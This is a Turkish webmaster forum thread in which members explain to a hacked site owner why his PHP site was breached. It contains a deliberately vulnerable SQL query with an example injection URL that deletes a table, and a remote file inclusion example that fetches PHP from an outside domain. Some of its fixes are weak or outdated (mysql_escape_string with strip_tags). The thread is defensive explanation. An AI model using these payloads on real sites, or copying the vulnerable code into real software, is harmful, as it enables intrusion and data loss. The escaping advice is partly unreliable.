lostyazilim
tr.link

$id = $_GET['id'];

25 Mesajlar 2.705 Okunma
lstbozum
tr.link

Caesar Caesar ich bin /root Kullanıcı
  • Üyelik 24.08.2015
  • Yaş/Cinsiyet 39 / E
  • Meslek Bilgisayar Mühendisi
  • Konum İstanbul Anadolu
  • Ad Soyad O** B**
  • Mesajlar 837
  • Beğeniler 77 / 558
  • Ticaret 10, (%100)
tamam id integer değilse şöyle yapiyorsun

$id = mysql_escape_string(strip_tags($_GET['id']));

php 7 de mysql_escape_string çalışmaz. 7 ise başka bir kod veririm 5.6 ya kadar bu işini görür. Sana injection atıyorlar. İd gelen değer içine ' atıp sorguyu kapatıp gönderdiği diğer kodu php gibi çalıştırıyorlar sıkıntın bu . Çünkü gelen get değeri süzmüyorsun yukarıdaki fonksiyon süzecektir.
 

 

>/dev/null 2>&1
wmaraci
reklam

Caesar Caesar ich bin /root Kullanıcı
  • Üyelik 24.08.2015
  • Yaş/Cinsiyet 39 / E
  • Meslek Bilgisayar Mühendisi
  • Konum İstanbul Anadolu
  • Ad Soyad O** B**
  • Mesajlar 837
  • Beğeniler 77 / 558
  • Ticaret 10, (%100)
Örneğin Sorgu şu olsun;


$id = $_GET['id'];
$sorgu = mysql_query("select * from tablo where id = '".$id."'");


index.php?id=1' and delete from tablo

şeklinde gelirse ne oluyor 1 kısmı id = '1 e denk geliyor 1 den sonra gelen ' sorguyu bitiriyor daha sonra and ile ikinci sorguya geçip tablo nu silme işlemi gönderiyor. Sen gelen tüm get yada post değerlerini filtrelemen lazım.
 

 

>/dev/null 2>&1

Korkmaz Korkmaz cagdaskorkmaz Kullanıcı
  • Üyelik 03.12.2014
  • Yaş/Cinsiyet 28 / E
  • Meslek SARUHAN HOLDING - Fakir Elektr
  • Konum İstanbul Avrupa
  • Ad Soyad Ç** K**
  • Mesajlar 3536
  • Beğeniler 253 / 1236
  • Ticaret 8, (%100)
Caesar Hocam öncelikle ilginiz için teşekkür ederim. Sitemin içine Cpanel Shell atmışlardı. paypal.siteadi.com diye subdomain açıp milleti dolandrımışlar sanırım.

Baya başım yandı. Bu yöntemi uygularsam sorun olamayacaktır anladığım kadarı ile. Zaten 2 sayfada GET_id kullanıyorum onları dediğiniz gibi düzelttim.
 

 

cagdaskorkmaz.com.tr

Caesar Caesar ich bin /root Kullanıcı
  • Üyelik 24.08.2015
  • Yaş/Cinsiyet 39 / E
  • Meslek Bilgisayar Mühendisi
  • Konum İstanbul Anadolu
  • Ad Soyad O** B**
  • Mesajlar 837
  • Beğeniler 77 / 558
  • Ticaret 10, (%100)
eğer shell yediysen %99 get yada post ile gelen veriden bir php dosyası include ediyorsan onda filtreleme yapmadığın için yemişsindir.

Örneğin


$mode = $_GET['mode'];

if (isset($mode)):
include $mode.".php";
endif;


gibi bu türden bir include oraya ne istersen koyup php olarak çalıştırabilirsin anlamına gelir. örneğin;

index.php?mode=http://www.domain.com/phpdosyasiadi

yazıldğında

http://www.domain.com/phpdosyasiadi.php çağrılıp içerisindeki her text php olarak işlem görecektir.
Korkmaz

kişi bu mesajı beğendi.

>/dev/null 2>&1
wmaraci
wmaraci

enverehan enverehan WM Aracı Kullanıcı
  • Üyelik 21.05.2016
  • Yaş/Cinsiyet 34 / E
  • Meslek Backend Developer
  • Konum Ankara
  • Ad Soyad E** E**
  • Mesajlar 99
  • Beğeniler 6 / 27
  • Ticaret 0, (%0)

Korkmaz adlı üyeden alıntı

Caesar Hocam dediğiniz gibi yapınca movie=not_found diye uyarı geliyor. İçeriği okuyamıyor. Gelen id içeriği örneği bu: movie.php?id=tt5748998

İd içeriğinde harf olduğundan sıkıntı çıkıyor.


evet. int ve abs fonksiyonları içerisine aldığında açık kapanır. Fakat harfleri siler. Harflerin silinmesinde sorgu başarısız sonuçlanabilir. Bu aşamada ya sadece sayısay değere bağlı çağrı yapacaksın ya da get ile gelen veriyi mysqli 'nin real_escape_string fonksiyonunu kullanarak yapacaksın.

Ben mysqli kullanmıyorum mysql kullanıyorum diyorsan zaten ilk işin mysqli yapısına geçmek olacak.
 

 

https://ehantechnology.com/
wmaraci
wmaraci
Konuyu toplam 1 kişi okuyor. (0 kullanıcı ve 1 misafir)
Site Ayarları
  • Tema Seçeneği
  • Site Sesleri
  • Bildirimler
  • Özel Mesaj Al